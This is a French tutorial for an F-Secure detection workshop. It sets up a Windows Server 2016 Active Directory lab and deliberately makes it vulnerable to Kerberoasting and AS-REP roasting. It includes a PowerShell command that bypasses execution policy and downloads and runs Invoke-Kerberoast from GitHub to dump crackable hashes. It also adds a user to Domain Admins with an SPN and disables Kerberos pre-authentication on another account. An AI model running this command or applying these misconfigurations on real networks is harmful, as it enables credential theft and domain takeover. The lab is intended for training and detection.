Afin de pouvoir réaliser la suite du workshop de F-Secure, nous allons créer une machine virtuelle Windows Server 2016, configurer Active Directory, et le rendre vulnérable à quelques attaques.
Remarque: Dans ce lab, les VM utilisent un accès par pont. Utilisation de VirtualBox
- Créer une nouvelle VM et insérer l’ISO de Windows Server 2016
ISO Windows Server 2016: https://www.microsoft.com/en-us/evalcenter/evaluate-windows-server-2016
- Lancer la VM et installer Windows Server 2016
- Installer
Choisir l’option Windows Server 2016 Standard Evaluation (Experience Utilisateur)
Choisir Personnalisé
La VM va redemarrer. Créer un mdp pour le compte Administrateur
.
Utiliser une IP Statique vu qu’on va se servir du serveur comme contrôleur de domaine. Utiliser la même IP pour le serveur DNS
Pour installer AD via le Gestionnaire de serveur
voir [2,3,5]. Ici, nous installerons Active Directory avec PowerShell.
Installer AD avec PowerShell [1]
Install-windowsfeature AD-domain-services
Création du domaine
Import-Module ADDSDeployment
Install-ADDSForest -CreateDnsDelegation:$false ` -DatabasePath "C:\Windows\NTDS" ` -DomainMode "Win2012R2" ` -DomainName "server1.hacklab.local" ` -DomainNetbiosName "server1" ` -ForestMode "Win2012R2" ` -InstallDns:$true ` -LogPath "C:\Windows\NTDS" ` -NoRebootOnCompletion:$false ` -SysvolPath "C:\Windows\SYSVOL" ` -Force:$true
La VM reboot et le domaine est créé
Get-ADForest
Get-ADDomain
Pour avoir accès à internet, penser à configurer la redirection DNS avec le DNS Google [4]
- Gestionnaire DNS
- Clic droit > Propriétés > Redirecteurs
Ajouter 8.8.8.8
et 8.8.4.4
- Installer RSAT-ADDS
Permet d’avoir accès aux outils AD dans les outils d’admin windows
- Ajout d’un utilisateur au domaine
net user user1 Passw0rd! /ADD /DOMAIN
- Ajouter cet utilisateur au groupe
Admins du domaine
/!\ Bad user!!
net group “Admins du domaine” user1 /add
Utilisateur bien créé et membre de Admins du domaine
Vérifier que cet utilisateur a un attribut servicePrincipalName
SPN.
Commandes powershell listant tous les SPN [5] :
$search = New-Object DirectoryServices.DirectorySearcher([ADSI]"")
$search.filter = "(servicePrincipalName=*)"
$results = $search.Findall()
foreach($result in $results)
{
$userEntry = $result.GetDirectoryEntry()
Write-host "Object Name = " $userEntry.name -backgroundcolor "yellow" -foregroundcolor "black"
Write-host "DN = " $userEntry.distinguishedName
Write-host "Object Cat. = " $userEntry.objectCategory
Write-host "servicePrincipalNames"
$i=1
foreach($SPN in $userEntry.servicePrincipalName)
{
Write-host "SPN(" $i ") = " $SPN $i+=1
}
Write-host ""
}
Il existe beaucoup de scripts permettant de découvrir les SPN (impacket, Empire, etc.) Voir [6]
Ajout d’un deuxième utilisateur, c’est ce user qu’on utilisera pour se loguer sur la Win 7 (ou la Win 10)
Pour download une VM Win 7 et/ou Win 10: https://developer.microsoft.com/en-us/microsoft-edge/tools/vms/
Lancer la VM Win 7 et modifier le serveur DNS pour utiliser le serveur Windows 2016
Vérifier qu’on peut ping le domaine
Computer > Properties > Change Settings
Changer le nom du domaine
Ajouter l’utilisateur
Rebooter
Même chose pour Windows 10
Changer le DNS et le nom de domaine, ajouter l’utilisateur
Afin de pouvoir exploiter ce lab plus tard, nous allons créer deux misconfiguration permettant les attaques Kerberoasting et AS-REP roasting.
Pour implenter d’autres vulnérabiltiés, voir [7]
1. Kerberoasting
Source [7]
Sur le serveur:
PS > setspn -s http/server1.hacklab.local:80 user1
Test avec Invoke-Kerberoast
sur la Win 7 [8]
powershell -ep bypass -c "IEX (New-Object System.Net.WebClient).DownloadString('https://raw.githubusercontent.com/myexploit/PS_Scripts_Backup/master/Invoke-Kerberoast.ps1') ; Invoke-Kerberoast -OutputFormat HashCat|Select-Object -ExpandProperty hash | out-file -Encoding ASCII kerb-Hash1.txt"
Crackable avec Hashcat. Pour plus de détails sur les étapes de l’attaque Kerberoast, voir [9]
2. AS-REP roasting
Source: [7]
Créer un nouvel utilisateur
user2::Passw0rd!
Dans les propriétés du compte, cocher La pré-authentification Kerberos n'est pas nécessaire
Ce compte est désormais vulnérable à l’AS-REP roasting
Conclusion
Dans ce lab, nous avons créé une infrastructure Active Directory vulnérable au Kerberoasting et au AS-REP roasting.
Dans la suite du workshop Attack Detection Fundamentals de F-Secure nous exploiterons ces vulnérabilités et le analyserons à la recherche d’indicateurs de compromission.
Références
[1] 1337Red, Building and Attacking An Active Directory Lab With Powershell, https://1337red.wordpress.com/building-and-attacking-an-active-directory-lab-with-powershell/
[2] Vartai Security, Lab Building Guide: Virtual Active Directory, https://medium.com/@vartaisecurity/lab-building-guide-virtual-active-directory-5f0d0c8eb907
[3] Robert Scocca, Building an Active Directory Lab, https://robertscocca.medium.com/building-an-active-directory-lab-82170dd73fb4
[4] Configuration DNS sur Windows Server 2016, https://no-impact.eu/do-it-yourself-post-6-Configuration-DNS-sur-Windows-Server-2016
[5] Microsoft, Active Directory: PowerShell script to list all SPNs used, https://social.technet.microsoft.com/wiki/contents/articles/18996.active-directory-powershell-script-to-list-all-spns-used.aspx
[6] Pentestlab, SPN Discovery, https://pentestlab.blog/2018/06/04/spn-discovery/
[7] SEC Consult, Creating Active Directory Labs for Blue and Red Teams, https://sec-consult.com/blog/detail/creating-active-directory-labs-for-blue-and-red-teams/
[8] m0chan, How To Attack Kerberos 101, https://m0chan.github.io/2019/07/31/How-To-Attack-Kerberos-101.html#invoke-kerberoastps1
[9] Pentestlab, Kerberoast, https://pentestlab.blog/2018/06/12/kerberoast/
Poursuivez avec :
This work is licensed under a Creative Commons Attribution 4.0 International License.